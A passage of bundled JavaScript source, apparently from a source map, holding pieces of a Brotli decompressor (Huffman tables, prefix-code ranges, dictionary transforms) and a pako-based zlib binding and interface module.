}\n code = new HuffmanCode((len - root_bits) & 0xff, sorted[symbol++] & 0xffff);\n ReplicateValue(root_table, table + (key >> root_bits), step, table_size, code);\n key = GetNextKey(key, len);\n }\n }\n \n return total_size;\n}\n","/* Copyright 2013 Google Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n Lookup tables to map prefix codes to value ranges. This is used during\n decoding of the block lengths, literal insertion lengths and copy lengths.\n*/\n\n/* Represents the range of values belonging to a prefix code: */\n/* [offset, offset + 2^nbits) */\nfunction PrefixCodeRange(offset, nbits) {\n this.offset = offset;\n this.nbits = nbits;\n}\n\nexports.kBlockLengthPrefixCode = [\n new PrefixCodeRange(1, 2), new PrefixCodeRange(5, 2), new PrefixCodeRange(9, 2), new PrefixCodeRange(13, 2),\n new PrefixCodeRange(17, 3), new PrefixCodeRange(25, 3), new PrefixCodeRange(33, 3), new PrefixCodeRange(41, 3),\n new PrefixCodeRange(49, 4), new PrefixCodeRange(65, 4), new PrefixCodeRange(81, 4), new PrefixCodeRange(97, 4),\n new PrefixCodeRange(113, 5), new PrefixCodeRange(145, 5), new PrefixCodeRange(177, 5), new PrefixCodeRange(209, 5),\n new PrefixCodeRange(241, 6), new PrefixCodeRange(305, 6), new PrefixCodeRange(369, 7), new PrefixCodeRange(497, 8),\n new PrefixCodeRange(753, 9), new PrefixCodeRange(1265, 10), new PrefixCodeRange(2289, 11), new PrefixCodeRange(4337, 12),\n new PrefixCodeRange(8433, 13), new PrefixCodeRange(16625, 24)\n];\n\nexports.kInsertLengthPrefixCode = [\n new PrefixCodeRange(0, 0), new PrefixCodeRange(1, 0), new PrefixCodeRange(2, 0), new PrefixCodeRange(3, 0),\n new PrefixCodeRange(4, 0), new PrefixCodeRange(5, 0), new PrefixCodeRange(6, 1), new PrefixCodeRange(8, 1),\n new PrefixCodeRange(10, 2), new PrefixCodeRange(14, 2), new PrefixCodeRange(18, 3), new PrefixCodeRange(26, 3),\n new PrefixCodeRange(34, 4), new PrefixCodeRange(50, 4), new PrefixCodeRange(66, 5), new PrefixCodeRange(98, 5),\n new PrefixCodeRange(130, 6), new PrefixCodeRange(194, 7), new PrefixCodeRange(322, 8), new PrefixCodeRange(578, 9),\n new PrefixCodeRange(1090, 10), new PrefixCodeRange(2114, 12), new PrefixCodeRange(6210, 14), new PrefixCodeRange(22594, 24),\n];\n\nexports.kCopyLengthPrefixCode = [\n new PrefixCodeRange(2, 0), new PrefixCodeRange(3, 0), new PrefixCodeRange(4, 0), new PrefixCodeRange(5, 0),\n new PrefixCodeRange(6, 0), new PrefixCodeRange(7, 0), new PrefixCodeRange(8, 0), new PrefixCodeRange(9, 0),\n new PrefixCodeRange(10, 1), new PrefixCodeRange(12, 1), new PrefixCodeRange(14, 2), new PrefixCodeRange(18, 2),\n new PrefixCodeRange(22, 3), new PrefixCodeRange(30, 3), new PrefixCodeRange(38, 4), new PrefixCodeRange(54, 4),\n new PrefixCodeRange(70, 5), new PrefixCodeRange(102, 5), new PrefixCodeRange(134, 6), new PrefixCodeRange(198, 7),\n new PrefixCodeRange(326, 8), new PrefixCodeRange(582, 9), new PrefixCodeRange(1094, 10), new PrefixCodeRange(2118, 24),\n];\n\nexports.kInsertRangeLut = [\n 0, 0, 8, 8, 0, 16, 8, 16, 16,\n];\n\nexports.kCopyRangeLut = [\n 0, 8, 0, 8, 16, 0, 16, 8, 16,\n];\n","function BrotliInput(buffer) {\n this.buffer = buffer;\n this.pos = 0;\n}\n\nBrotliInput.prototype.read = function(buf, i, count) {\n if (this.pos + count > this.buffer.length) {\n count = this.buffer.length - this.pos;\n }\n \n for (var p = 0; p < count; p++)\n buf[i + p] = this.buffer[this.pos + p];\n \n this.pos += count;\n return count;\n}\n\nexports.BrotliInput = BrotliInput;\n\nfunction BrotliOutput(buf) {\n this.buffer = buf;\n this.pos = 0;\n}\n\nBrotliOutput.prototype.write = function(buf, count) {\n if (this.pos + count > this.buffer.length)\n throw new Error('Output buffer is not large enough');\n \n this.buffer.set(buf.subarray(0, count), this.pos);\n this.pos += count;\n return count;\n};\n\nexports.BrotliOutput = BrotliOutput;\n","/* Copyright 2013 Google Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n Transformations on dictionary words.\n*/\n\nvar BrotliDictionary = require('./dictionary');\n\nvar kIdentity = 0;\nvar kOmitLast1 = 1;\nvar kOmitLast2 = 2;\nvar kOmitLast3 = 3;\nvar kOmitLast4 = 4;\nvar kOmitLast5 = 5;\nvar kOmitLast6 = 6;\nvar kOmitLast7 = 7;\nvar kOmitLast8 = 8;\nvar kOmitLast9 = 9;\nvar kUppercaseFirst = 10;\nvar kUppercaseAll = 11;\nvar kOmitFirst1 = 12;\nvar kOmitFirst2 = 13;\nvar kOmitFirst3 = 14;\nvar kOmitFirst4 = 15;\nvar kOmitFirst5 = 16;\nvar kOmitFirst6 = 17;\nvar kOmitFirst7 = 18;\nvar kOmitFirst8 = 19;\nvar kOmitFirst9 = 20;\n\nfunction Transform(prefix, transform, suffix) {\n this.prefix = new Uint8Array(prefix.length);\n this.transform = transform;\n this.suffix = new Uint8Array(suffix.length);\n \n for (var i = 0; i < prefix.length; i++)\n this.prefix[i] = prefix.charCodeAt(i);\n \n for (var i = 0; i < suffix.length; i++)\n this.suffix[i] = suffix.charCodeAt(i);\n}\n\nvar kTransforms = [\n new Transform( \"\", kIdentity, \"\" ),\n new Transform( \"\", kIdentity, \" \" ),\n new Transform( \" \", kIdentity, \" \" ),\n new Transform( \"\", kOmitFirst1, \"\" ),\n new Transform( \"\", kUppercaseFirst, \" \" ),\n new Transform( \"\", kIdentity, \" the \" ),\n new Transform( \" \", kIdentity, \"\" ),\n new Transform( \"s \", kIdentity, \" \" ),\n new Transform( \"\", kIdentity, \" of \" ),\n new Transform( \"\", kUppercaseFirst, \"\" ),\n new Transform( \"\", kIdentity, \" and \" ),\n new Transform( \"\", kOmitFirst2, \"\" ),\n new Transform( \"\", kOmitLast1, \"\" ),\n new Transform( \", \", kIdentity, \" \" ),\n new Transform( \"\", kIdentity, \", \" ),\n new Transform( \" \", kUppercaseFirst, \" \" ),\n new Transform( \"\", kIdentity, \" in \" ),\n new Transform( \"\", kIdentity, \" to \" ),\n new Transform( \"e \", kIdentity, \" \" ),\n new Transform( \"\", kIdentity, \"\\\"\" ),\n new Transform( \"\", kIdentity, \".\" ),\n new Transform( \"\", kIdentity, \"\\\">\" ),\n new Transform( \"\", kIdentity, \"\\n\" ),\n new Transform( \"\", kOmitLast3, \"\" ),\n new Transform( \"\", kIdentity, \"]\" ),\n new Transform( \"\", kIdentity, \" for \" ),\n new Transform( \"\", kOmitFirst3, \"\" ),\n new Transform( \"\", kOmitLast2, \"\" ),\n new Transform( \"\", kIdentity, \" a \" ),\n new Transform( \"\", kIdentity, \" that \" ),\n new Transform( \" \", kUppercaseFirst, \"\" ),\n new Transform( \"\", kIdentity, \". \" ),\n new Transform( \".\", kIdentity, \"\" ),\n new Transform( \" \", kIdentity, \", \" ),\n new Transform( \"\", kOmitFirst4, \"\" ),\n new Transform( \"\", kIdentity, \" with \" ),\n new Transform( \"\", kIdentity, \"'\" ),\n new Transform( \"\", kIdentity, \" from \" ),\n new Transform( \"\", kIdentity, \" by \" ),\n new Transform( \"\", kOmitFirst5, \"\" ),\n new Transform( \"\", kOmitFirst6, \"\" ),\n new Transform( \" the \", kIdentity, \"\" ),\n new Transform( \"\", kOmitLast4, \"\" ),\n new Transform( \"\", kIdentity, \". The \" ),\n new Transform( \"\", kUppercaseAll, \"\" ),\n new Transform( \"\", kIdentity, \" on \" ),\n new Transform( \"\", kIdentity, \" as \" ),\n new Transform( \"\", kIdentity, \" is \" ),\n new Transform( \"\", kOmitLast7, \"\" ),\n new Transform( \"\", kOmitLast1, \"ing \" ),\n new Transform( \"\", kIdentity, \"\\n\\t\" ),\n new Transform( \"\", kIdentity, \":\" ),\n new Transform( \" \", kIdentity, \". \" ),\n new Transform( \"\", kIdentity, \"ed \" ),\n new Transform( \"\", kOmitFirst9, \"\" ),\n new Transform( \"\", kOmitFirst7, \"\" ),\n new Transform( \"\", kOmitLast6, \"\" ),\n new Transform( \"\", kIdentity, \"(\" ),\n new Transform( \"\", kUppercaseFirst, \", \" ),\n new Transform( \"\", kOmitLast8, \"\" ),\n new Transform( \"\", kIdentity, \" at \" ),\n new Transform( \"\", kIdentity, \"ly \" ),\n new Transform( \" the \", kIdentity, \" of \" ),\n new Transform( \"\", kOmitLast5, \"\" ),\n new Transform( \"\", kOmitLast9, \"\" ),\n new Transform( \" \", kUppercaseFirst, \", \" ),\n new Transform( \"\", kUppercaseFirst, \"\\\"\" ),\n new Transform( \".\", kIdentity, \"(\" ),\n new Transform( \"\", kUppercaseAll, \" \" ),\n new Transform( \"\", kUppercaseFirst, \"\\\">\" ),\n new Transform( \"\", kIdentity, \"=\\\"\" ),\n new Transform( \" \", kIdentity, \".\" ),\n new Transform( \".com/\", kIdentity, \"\" ),\n new Transform( \" the \", kIdentity, \" of the \" ),\n new Transform( \"\", kUppercaseFirst, \"'\" ),\n new Transform( \"\", kIdentity, \". This \" ),\n new Transform( \"\", kIdentity, \",\" ),\n new Transform( \".\", kIdentity, \" \" ),\n new Transform( \"\", kUppercaseFirst, \"(\" ),\n new Transform( \"\", kUppercaseFirst, \".\" ),\n new Transform( \"\", kIdentity, \" not \" ),\n new Transform( \" \", kIdentity, \"=\\\"\" ),\n new Transform( \"\", kIdentity, \"er \" ),\n new Transform( \" \", kUppercaseAll, \" \" ),\n new Transform( \"\", kIdentity, \"al \" ),\n new Transform( \" \", kUppercaseAll, \"\" ),\n new Transform( \"\", kIdentity, \"='\" ),\n new Transform( \"\", kUppercaseAll, \"\\\"\" ),\n new Transform( \"\", kUppercaseFirst, \". \" ),\n new Transform( \" \", kIdentity, \"(\" ),\n new Transform( \"\", kIdentity, \"ful \" ),\n new Transform( \" \", kUppercaseFirst, \". \" ),\n new Transform( \"\", kIdentity, \"ive \" ),\n new Transform( \"\", kIdentity, \"less \" ),\n new Transform( \"\", kUppercaseAll, \"'\" ),\n new Transform( \"\", kIdentity, \"est \" ),\n new Transform( \" \", kUppercaseFirst, \".\" ),\n new Transform( \"\", kUppercaseAll, \"\\\">\" ),\n new Transform( \" \", kIdentity, \"='\" ),\n new Transform( \"\", kUppercaseFirst, \",\" ),\n new Transform( \"\", kIdentity, \"ize \" ),\n new Transform( \"\", kUppercaseAll, \".\" ),\n new Transform( \"\\xc2\\xa0\", kIdentity, \"\" ),\n new Transform( \" \", kIdentity, \",\" ),\n new Transform( \"\", kUppercaseFirst, \"=\\\"\" ),\n new Transform( \"\", kUppercaseAll, \"=\\\"\" ),\n new Transform( \"\", kIdentity, \"ous \" ),\n new Transform( \"\", kUppercaseAll, \", \" ),\n new Transform( \"\", kUppercaseFirst, \"='\" ),\n new Transform( \" \", kUppercaseFirst, \",\" ),\n new Transform( \" \", kUppercaseAll, \"=\\\"\" ),\n new Transform( \" \", kUppercaseAll, \", \" ),\n new Transform( \"\", kUppercaseAll, \",\" ),\n new Transform( \"\", kUppercaseAll, \"(\" ),\n new Transform( \"\", kUppercaseAll, \". \" ),\n new Transform( \" \", kUppercaseAll, \".\" ),\n new Transform( \"\", kUppercaseAll, \"='\" ),\n new Transform( \" \", kUppercaseAll, \". \" ),\n new Transform( \" \", kUppercaseFirst, \"=\\\"\" ),\n new Transform( \" \", kUppercaseAll, \"='\" ),\n new Transform( \" \", kUppercaseFirst, \"='\" )\n];\n\nexports.kTransforms = kTransforms;\nexports.kNumTransforms = kTransforms.length;\n\nfunction ToUpperCase(p, i) {\n if (p[i] < 0xc0) {\n if (p[i] >= 97 && p[i] <= 122) {\n p[i] ^= 32;\n }\n return 1;\n }\n \n /* An overly simplified uppercasing model for utf-8. */\n if (p[i] < 0xe0) {\n p[i + 1] ^= 32;\n return 2;\n }\n \n /* An arbitrary transform for three byte characters. */\n p[i + 2] ^= 5;\n return 3;\n}\n\nexports.transformDictionaryWord = function(dst, idx, word, len, transform) {\n var prefix = kTransforms[transform].prefix;\n var suffix = kTransforms[transform].suffix;\n var t = kTransforms[transform].transform;\n var skip = t < kOmitFirst1 ? 0 : t - (kOmitFirst1 - 1);\n var i = 0;\n var start_idx = idx;\n var uppercase;\n \n if (skip > len) {\n skip = len;\n }\n \n var prefix_pos = 0;\n while (prefix_pos < prefix.length) {\n dst[idx++] = prefix[prefix_pos++];\n }\n \n word += skip;\n len -= skip;\n \n if (t <= kOmitLast9) {\n len -= t;\n }\n \n for (i = 0; i < len; i++) {\n dst[idx++] = BrotliDictionary.dictionary[word + i];\n }\n \n uppercase = idx - len;\n \n if (t === kUppercaseFirst) {\n ToUpperCase(dst, uppercase);\n } else if (t === kUppercaseAll) {\n while (len > 0) {\n var step = ToUpperCase(dst, uppercase);\n uppercase += step;\n len -= step;\n }\n }\n \n var suffix_pos = 0;\n while (suffix_pos < suffix.length) {\n dst[idx++] = suffix[suffix_pos++];\n }\n \n return idx - start_idx;\n}\n","module.exports = require('./dec/decode').BrotliDecompressBuffer;\n","'use strict';\n/* eslint camelcase: \"off\" */\n\nvar assert = require('assert');\n\nvar Zstream = require('pako/lib/zlib/zstream');\nvar zlib_deflate = require('pako/lib/zlib/deflate.js');\nvar zlib_inflate = require('pako/lib/zlib/inflate.js');\nvar constants = require('pako/lib/zlib/constants');\n\nfor (var key in constants) {\n exports[key] = constants[key];\n}\n\n// zlib modes\nexports.NONE = 0;\nexports.DEFLATE = 1;\nexports.INFLATE = 2;\nexports.GZIP = 3;\nexports.GUNZIP = 4;\nexports.DEFLATERAW = 5;\nexports.INFLATERAW = 6;\nexports.UNZIP = 7;\n\nvar GZIP_HEADER_ID1 = 0x1f;\nvar GZIP_HEADER_ID2 = 0x8b;\n\n/**\n * Emulate Node's zlib C++ layer for use by the JS layer in index.js\n */\nfunction Zlib(mode) {\n if (typeof mode !== 'number' || mode < exports.DEFLATE || mode > exports.UNZIP) {\n throw new TypeError('Bad argument');\n }\n\n this.dictionary = null;\n this.err = 0;\n this.flush = 0;\n this.init_done = false;\n this.level = 0;\n this.memLevel = 0;\n this.mode = mode;\n this.strategy = 0;\n this.windowBits = 0;\n this.write_in_progress = false;\n this.pending_close = false;\n this.gzip_id_bytes_read = 0;\n}\n\nZlib.prototype.close = function () {\n if (this.write_in_progress) {\n this.pending_close = true;\n return;\n }\n\n this.pending_close = false;\n\n assert(this.init_done, 'close before init');\n assert(this.mode <= exports.UNZIP);\n\n if (this.mode === exports.DEFLATE || this.mode === exports.GZIP || this.mode === exports.DEFLATERAW) {\n zlib_deflate.deflateEnd(this.strm);\n } else if (this.mode === exports.INFLATE || this.mode === exports.GUNZIP || this.mode === exports.INFLATERAW || this.mode === exports.UNZIP) {\n zlib_inflate.inflateEnd(this.strm);\n }\n\n this.mode = exports.NONE;\n\n this.dictionary = null;\n};\n\nZlib.prototype.write = function (flush, input, in_off, in_len, out, out_off, out_len) {\n return this._write(true, flush, input, in_off, in_len, out, out_off, out_len);\n};\n\nZlib.prototype.writeSync = function (flush, input, in_off, in_len, out, out_off, out_len) {\n return this._write(false, flush, input, in_off, in_len, out, out_off, out_len);\n};\n\nZlib.prototype._write = function (async, flush, input, in_off, in_len, out, out_off, out_len) {\n assert.equal(arguments.length, 8);\n\n assert(this.init_done, 'write before init');\n assert(this.mode !== exports.NONE, 'already finalized');\n assert.equal(false, this.write_in_progress, 'write already in progress');\n assert.equal(false, this.pending_close, 'close is pending');\n\n this.write_in_progress = true;\n\n assert.equal(false, flush === undefined, 'must provide flush value');\n\n this.write_in_progress = true;\n\n if (flush !== exports.Z_NO_FLUSH && flush !== exports.Z_PARTIAL_FLUSH && flush !== exports.Z_SYNC_FLUSH && flush !== exports.Z_FULL_FLUSH && flush !== exports.Z_FINISH && flush !== exports.Z_BLOCK) {\n throw new Error('Invalid flush value');\n }\n\n if (input == null) {\n input = Buffer.alloc(0);\n in_len = 0;\n in_off = 0;\n }\n\n this.strm.avail_in = in_len;\n this.strm.input = input;\n this.strm.next_in = in_off;\n this.strm.avail_out = out_len;\n this.strm.output = out;\n this.strm.next_out = out_off;\n this.flush = flush;\n\n if (!async) {\n // sync version\n this._process();\n\n if (this._checkError()) {\n return this._afterSync();\n }\n return;\n }\n\n // async version\n var self = this;\n process.nextTick(function () {\n self._process();\n self._after();\n });\n\n return this;\n};\n\nZlib.prototype._afterSync = function () {\n var avail_out = this.strm.avail_out;\n var avail_in = this.strm.avail_in;\n\n this.write_in_progress = false;\n\n return [avail_in, avail_out];\n};\n\nZlib.prototype._process = function () {\n var next_expected_header_byte = null;\n\n // If the avail_out is left at 0, then it means that it ran out\n // of room. If there was avail_out left over, then it means\n // that all of the input was consumed.\n switch (this.mode) {\n case exports.DEFLATE:\n case exports.GZIP:\n case exports.DEFLATERAW:\n this.err = zlib_deflate.deflate(this.strm, this.flush);\n break;\n case exports.UNZIP:\n if (this.strm.avail_in > 0) {\n next_expected_header_byte = this.strm.next_in;\n }\n\n switch (this.gzip_id_bytes_read) {\n case 0:\n if (next_expected_header_byte === null) {\n break;\n }\n\n if (this.strm.input[next_expected_header_byte] === GZIP_HEADER_ID1) {\n this.gzip_id_bytes_read = 1;\n next_expected_header_byte++;\n\n if (this.strm.avail_in === 1) {\n // The only available byte was already read.\n break;\n }\n } else {\n this.mode = exports.INFLATE;\n break;\n }\n\n // fallthrough\n case 1:\n if (next_expected_header_byte === null) {\n break;\n }\n\n if (this.strm.input[next_expected_header_byte] === GZIP_HEADER_ID2) {\n this.gzip_id_bytes_read = 2;\n this.mode = exports.GUNZIP;\n } else {\n // There is no actual difference between INFLATE and INFLATERAW\n // (after initialization).\n this.mode = exports.INFLATE;\n }\n\n break;\n default:\n throw new Error('invalid number of gzip magic number bytes read');\n }\n\n // fallthrough\n case exports.INFLATE:\n case exports.GUNZIP:\n case exports.INFLATERAW:\n this.err = zlib_inflate.inflate(this.strm, this.flush\n\n // If data was encoded with dictionary\n );if (this.err === exports.Z_NEED_DICT && this.dictionary) {\n // Load it\n this.err = zlib_inflate.inflateSetDictionary(this.strm, this.dictionary);\n if (this.err === exports.Z_OK) {\n // And try to decode again\n this.err = zlib_inflate.inflate(this.strm, this.flush);\n } else if (this.err === exports.Z_DATA_ERROR) {\n // Both inflateSetDictionary() and inflate() return Z_DATA_ERROR.\n // Make it possible for After() to tell a bad dictionary from bad\n // input.\n this.err = exports.Z_NEED_DICT;\n }\n }\n while (this.strm.avail_in > 0 && this.mode === exports.GUNZIP && this.err === exports.Z_STREAM_END && this.strm.next_in[0] !== 0x00) {\n // Bytes remain in input buffer. Perhaps this is another compressed\n // member in the same archive, or just trailing garbage.\n // Trailing zero bytes are okay, though, since they are frequently\n // used for padding.\n\n this.reset();\n this.err = zlib_inflate.inflate(this.strm, this.flush);\n }\n break;\n default:\n throw new Error('Unknown mode ' + this.mode);\n }\n};\n\nZlib.prototype._checkError = function () {\n // Acceptable error states depend on the type of zlib stream.\n switch (this.err) {\n case exports.Z_OK:\n case exports.Z_BUF_ERROR:\n if (this.strm.avail_out !== 0 && this.flush === exports.Z_FINISH) {\n this._error('unexpected end of file');\n return false;\n }\n break;\n case exports.Z_STREAM_END:\n // normal statuses, not fatal\n break;\n case exports.Z_NEED_DICT:\n if (this.dictionary == null) {\n this._error('Missing dictionary');\n } else {\n this._error('Bad dictionary');\n }\n return false;\n default:\n // something else.\n this._error('Zlib error');\n return false;\n }\n\n return true;\n};\n\nZlib.prototype._after = function () {\n if (!this._checkError()) {\n return;\n }\n\n var avail_out = this.strm.avail_out;\n var avail_in = this.strm.avail_in;\n\n this.write_in_progress = false;\n\n // call the write() cb\n this.callback(avail_in, avail_out);\n\n if (this.pending_close) {\n this.close();\n }\n};\n\nZlib.prototype._error = function (message) {\n if (this.strm.msg) {\n message = this.strm.msg;\n }\n this.onerror(message, this.err\n\n // no hope of rescue.\n );this.write_in_progress = false;\n if (this.pending_close) {\n this.close();\n }\n};\n\nZlib.prototype.init = function (windowBits, level, memLevel, strategy, dictionary) {\n assert(arguments.length === 4 || arguments.length === 5, 'init(windowBits, level, memLevel, strategy, [dictionary])');\n\n assert(windowBits >= 8 && windowBits <= 15, 'invalid windowBits');\n assert(level >= -1 && level <= 9, 'invalid compression level');\n\n assert(memLevel >= 1 && memLevel <= 9, 'invalid memlevel');\n\n assert(strategy === exports.Z_FILTERED || strategy === exports.Z_HUFFMAN_ONLY || strategy === exports.Z_RLE || strategy === exports.Z_FIXED || strategy === exports.Z_DEFAULT_STRATEGY, 'invalid strategy');\n\n this._init(level, windowBits, memLevel, strategy, dictionary);\n this._setDictionary();\n};\n\nZlib.prototype.params = function () {\n throw new Error('deflateParams Not supported');\n};\n\nZlib.prototype.reset = function () {\n this._reset();\n this._setDictionary();\n};\n\nZlib.prototype._init = function (level, windowBits, memLevel, strategy, dictionary) {\n this.level = level;\n this.windowBits = windowBits;\n this.memLevel = memLevel;\n this.strategy = strategy;\n\n this.flush = exports.Z_NO_FLUSH;\n\n this.err = exports.Z_OK;\n\n if (this.mode === exports.GZIP || this.mode === exports.GUNZIP) {\n this.windowBits += 16;\n }\n\n if (this.mode === exports.UNZIP) {\n this.windowBits += 32;\n }\n\n if (this.mode === exports.DEFLATERAW || this.mode === exports.INFLATERAW) {\n this.windowBits = -1 * this.windowBits;\n }\n\n this.strm = new Zstream();\n\n switch (this.mode) {\n case exports.DEFLATE:\n case exports.GZIP:\n case exports.DEFLATERAW:\n this.err = zlib_deflate.deflateInit2(this.strm, this.level, exports.Z_DEFLATED, this.windowBits, this.memLevel, this.strategy);\n break;\n case exports.INFLATE:\n case exports.GUNZIP:\n case exports.INFLATERAW:\n case exports.UNZIP:\n this.err = zlib_inflate.inflateInit2(this.strm, this.windowBits);\n break;\n default:\n throw new Error('Unknown mode ' + this.mode);\n }\n\n if (this.err !== exports.Z_OK) {\n this._error('Init error');\n }\n\n this.dictionary = dictionary;\n\n this.write_in_progress = false;\n this.init_done = true;\n};\n\nZlib.prototype._setDictionary = function () {\n if (this.dictionary == null) {\n return;\n }\n\n this.err = exports.Z_OK;\n\n switch (this.mode) {\n case exports.DEFLATE:\n case exports.DEFLATERAW:\n this.err = zlib_deflate.deflateSetDictionary(this.strm, this.dictionary);\n break;\n default:\n break;\n }\n\n if (this.err !== exports.Z_OK) {\n this._error('Failed to set dictionary');\n }\n};\n\nZlib.prototype._reset = function () {\n this.err = exports.Z_OK;\n\n switch (this.mode) {\n case exports.DEFLATE:\n case exports.DEFLATERAW:\n case exports.GZIP:\n this.err = zlib_deflate.deflateReset(this.strm);\n break;\n case exports.INFLATE:\n case exports.INFLATERAW:\n case exports.GUNZIP:\n this.err = zlib_inflate.inflateReset(this.strm);\n break;\n default:\n break;\n }\n\n if (this.err !== exports.Z_OK) {\n this._error('Failed to reset stream');\n }\n};\n\nexports.Zlib = Zlib;","'use strict';\n\nvar Buffer = require('buffer').Buffer;\nvar Transform = require('stream').Transform;\nvar binding = require('./binding');\nvar util = require('util');\nvar assert = require('assert').ok;\nvar kMaxLength = require('buffer').kMaxLength;\nvar kRangeErrorMessage = 'Cannot create final Buffer. It would be larger ' + 'than 0x' + kMaxLength.toString(16) + ' bytes';\n\n// zlib doesn't provide these, so kludge them in following the same\n// const naming scheme zlib uses.\nbinding.Z_MIN_WINDOWBITS = 8;\nbinding.Z_MAX_WINDOWBITS = 15;\nbinding.Z_DEFAULT_WINDOWBITS = 15;\n\n// fewer than 64 bytes per chunk is stupid.\n// technically it could work with as few as 8, but even 64 bytes\n// is absurdly low. Usually a MB or more is best.\nbinding.Z_MIN_CHUNK = 64;\nbinding.Z_MAX_CHUNK = Infinity;\nbinding.Z_DEFAULT_CHUNK = 16 * 1024;\n\nbinding.Z_MIN_MEMLEVEL = 1;\nbinding.Z_MAX_MEMLEVEL = 9;\nbinding.Z_DEFAULT_MEMLEVEL = 8;\n\nbinding.Z_MIN_LEVEL = -1;\nbinding.Z_MAX_LEVEL = 9;\nbinding.Z_DEFAULT_LEVEL = binding.Z_DEFAULT_COMPRESSION;\n\n// expose all the zlib constants\nvar bkeys = Object.keys(binding);\nfor (var bk = 0; bk < bkeys.length; bk++) {\n var bkey = bkeys[bk];\n if (bkey.match(/^Z/)) {\n Object.defineProperty(exports, bkey, {\n enumerable: true, value: binding[bkey], writable: false\n });\n }\n}\n\n// translation table for return codes.\nvar codes = {\n Z_OK: binding.Z_OK,\n Z_STREAM_END: binding.Z_STREAM_END,\n Z_NEED_DICT: binding.Z_NEED_DICT,\n Z_ERRNO: binding.Z_ERRNO,\n Z_STREAM_ERROR: binding.Z_STREAM_ERROR,\n Z_DATA_ERROR: binding.Z_DATA_ERROR,\n Z_MEM_ERROR: binding.Z_MEM_ERROR,\n Z_BUF_ERROR: binding.Z_BUF_ERROR,\n Z_VERSION_ERROR: binding.Z_VERSION_ERROR\n};\n\nvar ckeys = Object.keys(codes);\nfor (var ck = 0; ck < ckeys.length; ck++) {\n var ckey = ckeys[ck];\n codes[codes[ckey]] = ckey;\n}\n\nObject.defineProperty(exports, 'codes', {\n enumerable: true, value: Object.freeze(codes), writable: false\n});\n\nexports.Deflate = Deflate;\nexports.Inflate = Inflate;\nexports.Gzip = Gzip;\nexports.Gunzip = Gunzip;\nexports.DeflateRaw = DeflateRaw;\nexports.InflateRaw = InflateRaw;\nexports.Unzip = Unzip;\n\nexports.createDeflate = function (o) {\n return new Deflate(o);\n};\n\nexports.createInflate = function (o) {\n return new Inflate(o);\n};\n\nexports.createDeflateRaw = function (o) {\n return new DeflateRaw(o);\n};\n\nexports.createInflateRaw = function (o) {\n return new InflateRaw(o);\n};\n\nexports.createGzip = function (o) {\n return new Gzip(o);\n};\n\nexports.createGunzip = function (o) {\n return new Gunzip(o);\n};\n\nexports.createUnzip = function (o) {\n return new Unzip(o);\n};\n\n// Convenience methods.\n// compress/decompress a string or buffer in one step.\nexports.deflate = function (buffer, opts, callback) {\n if (typeof opts === 'function') {\n callback = opts;\n opts = {};\n }\n return zlibBuffer(new Deflate(opts), buffer, callback);\n};\n\nexports.deflateSync = function (buffer, opts) {\n return zlibBufferSync(new Deflate(opts), buffer);\n};\n\nexports.gzip = function (buffer, opts, callback) {\n if (typeof opts === 'function') {\n callback = opts;\n opts = {};\n }\n return zlibBuffer(new Gzip(opts), buffer, callback);\n};\n\nexports.gzipSync = function (buffer, opts) {\n return zlibBufferSync(new Gzip(opts), buffer);\n};\n\nexports.deflateRaw = function (buffer, opts, callback) {\n if (typeof opts === 'function') {\n callback = opts;\n opts = {};\n }\n return zlibBuffer(new DeflateRaw(opts), buffer, callback);\n};\n\nexports.deflateRawSync = function (buffer, opts) {\n return zlibBufferSync(new DeflateRaw(opts), buffer);\n};\n\nexports.unzip = function (buffer, opts, callback) {\n if (typeof opts === 'function') {\n callback = opts;\n opts = {};\n }\n return zlibBuffer(new Unzip(opts), buffer, callback);\n};\n\nexports.unzipSync = function (buffer, opts) {\n return zlibBufferSync(new Unzip(opts), buffer);\n};\n\nexports.inflate = function (buffer, opts, callback) {\n if (typeof opts === 'function') {\n callback = opts;\n opts = {};\n }\n return zlibBuffer(new Inflate(opts), buffer, callback);\n};\n\nexports.inflateSync = function (buffer, opts) {\n return zlibBufferSync(new Inflate(opts), buffer);\n};\n\nexports.gunzip = function (buffer, opts, callback) {\n if (typeof opts === 'function') {\n callback = opts;\n opts = {};\n }\n return zlibBuffer(new Gunzip(opts), buffer, callback);\n};\n\nexports.gunzipSync = function (buffer, opts) {\n return zlibBufferSync(new Gunzip(opts), buffer);\n};\n\nexports.inflateRaw = function (buffer, opts, callback) {\n if (typeof opts === 'function') {\n callback = opts;\n opts = {};\n }\n return zlibBuffer(new InflateRaw(opts), buffer, callback);\n};\n\nexports.inflateRawSync = function (buffer, opts) {\n return zlibBufferSync(new InflateRaw(opts), buffer);\n};\n\nfunction zlibBuffer(engine, buffer, callback) {\n var buffers = [];\n var nread = 0;\n\n engine.on('error', onError);\n engine.on('end', onEnd);\n\n engine.end(buffer);\n flow();\n\n function flow() {\n var chunk;\n while (null !== (chunk = engine.read())) {\n buffers.push(chunk);\n nread += chunk.length;\n }\n engine.once('readable', flow);\n }\n\n function onError(err) {\n engine.removeListener('end', onEnd);\n engine.removeListener('readable', flow);\n callback(err);\n }\n\n function onEnd() {\n var buf;\n var err = null;\n\n if (nread >= kMaxLength) {\n err = new RangeError(kRangeErrorMessage);\n } else {\n buf = Buffer.concat(buffers, nread);\n }\n\n buffers = [];\n engine.close();\n callback(err, buf);\n }\n}\n\nfunction zlibBufferSync(engine, buffer) {\n if (typeof buffer === 'string') buffer = Buffer.from(buffer);\n\n if (!Buffer.isBuffer(buffer)) throw new TypeError('Not a string or buffer');\n\n var flushFlag = engine._finishFlushFlag;\n\n return engine._processChunk(buffer, flushFlag);\n}\n\n// generic zlib\n// minimal 2-byte header\nfunction Deflate(opts) {\n if (!(this instanceof Deflate)) return new Deflate(opts);\n Zlib.call(this, opts, binding.DEFLATE);\n}\n\nfunction 